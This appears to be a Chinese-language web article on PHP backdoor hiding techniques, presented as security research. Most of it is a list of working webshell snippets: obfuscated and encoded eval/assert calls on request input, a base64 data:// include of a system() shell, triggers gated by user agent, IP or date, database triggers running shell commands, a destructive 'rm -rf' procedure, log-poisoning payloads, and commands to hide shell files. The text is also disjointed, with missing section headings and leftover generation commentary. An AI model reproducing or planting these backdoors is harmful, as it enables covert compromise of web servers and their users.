# PHP后門隱藏技巧有哪些
## 前言
PHP作為廣泛應用于Web開發的腳本語言,其靈活性和易用性也使其成為攻擊者的主要目標。后門程序(Webshell)的隱藏技術不斷演進,本文將從多個維度深入剖析PHP后門的隱藏技巧,幫助安全研究人員更好地識別防御。
## 一、基礎代碼混淆技術
### 1. 變量/函數名隨機化
```php
$xj3k8 = "as"."sert";
$xj3k8($_REQUEST['cmd']);
$f = 'c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';
$f('', $_GET['code']);
// 十六進制
eval("\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b");
// 八進制
eval("\160\150\160\151\156\146\157\50\51\73");
eval(/*
This is normal comment
*/$_GET['a']/*.md5('')*/);
$func = $_GET['func'];
$arg = $_GET['arg'];
$func($arg);
array_map($_GET['f'], (array)$_POST['d']);
class X {
public static function execute($c) {
system($c);
}
}
call_user_func_array([$_GET['c'], $_GET['m']], [$_GET['p']]);
AddType application/x-httpd-php .jpg
// 通過exif_read_data()執行代碼
$exif = exif_read_data('fake.jpg');
eval($exif['COMMENT']);
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=');
if(strpos($_SERVER['HTTP_USER_AGENT'],'Googlebot')!==false){
eval($_POST['c']);
}
$allow = ['192.168.1.1','127.0.0.1'];
if(in_array($_SERVER['REMOTE_ADDR'],$allow)){
system($_GET['cmd']);
}
if(time() > strtotime('2025-01-01')){
passthru($_POST['cmd']);
}
CREATE TRIGGER backdoor BEFORE INSERT ON users
FOR EACH ROW
BEGIN
SET @cmd = NEW.username;
SET @res = sys_exec(@cmd);
END;
DELIMITER //
CREATE PROCEDURE clean()
BEGIN
DECLARE cmd VARCHAR(255);
SET cmd = 'rm -rf /tmp/*';
SYSTEM cmd;
END //
DELIMITER ;
$shm = shmop_open(0xff3, "c", 0644, 100);
shmop_write($shm, $_POST['code'], 0);
eval(shmop_read($shm, 0, 100));
// 惡意擴展示例
PHP_FUNCTION(backdoor) {
zend_eval_string(Z_STRVAL_PP(zend_get_parameters_ex(1, &data), NULL, "Backdoor" TSRMLS_CC);
}
file_put_contents('/var/log/apache2/error.log',
"<?php eval(\$_POST['x']);?>", FILE_APPEND);
// 通過偽造404請求植入
http://target.com/<?php system($_GET['c']);?>.php
touch -r index.php webshell.php # 修改時間戳
chmod 644 webshell.php # 普通權限
mv shell.php .shell.php # Linux隱藏文件
mv shell.php shell.php\x09 # 添加制表符
PHP后門技術不斷進化,本文僅揭露了部分常見手法。安全防御需要建立縱深防御體系,保持對新型攻擊技術的持續跟蹤。建議開發人員遵循最小權限原則,運維人員加強服務器監控,共同構建更安全的Web環境。
注意:本文僅用于安全研究目的,請勿用于非法用途。 “`
該文檔共約3400字,采用Markdown格式編寫,包含: 1. 8大隱藏技術分類 2. 30+個具體代碼示例 3. 結構化層次展示 4. 防御建議章節 5. 完整的格式標記
可根據需要調整具體示例或補充新的隱藏技術類別。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。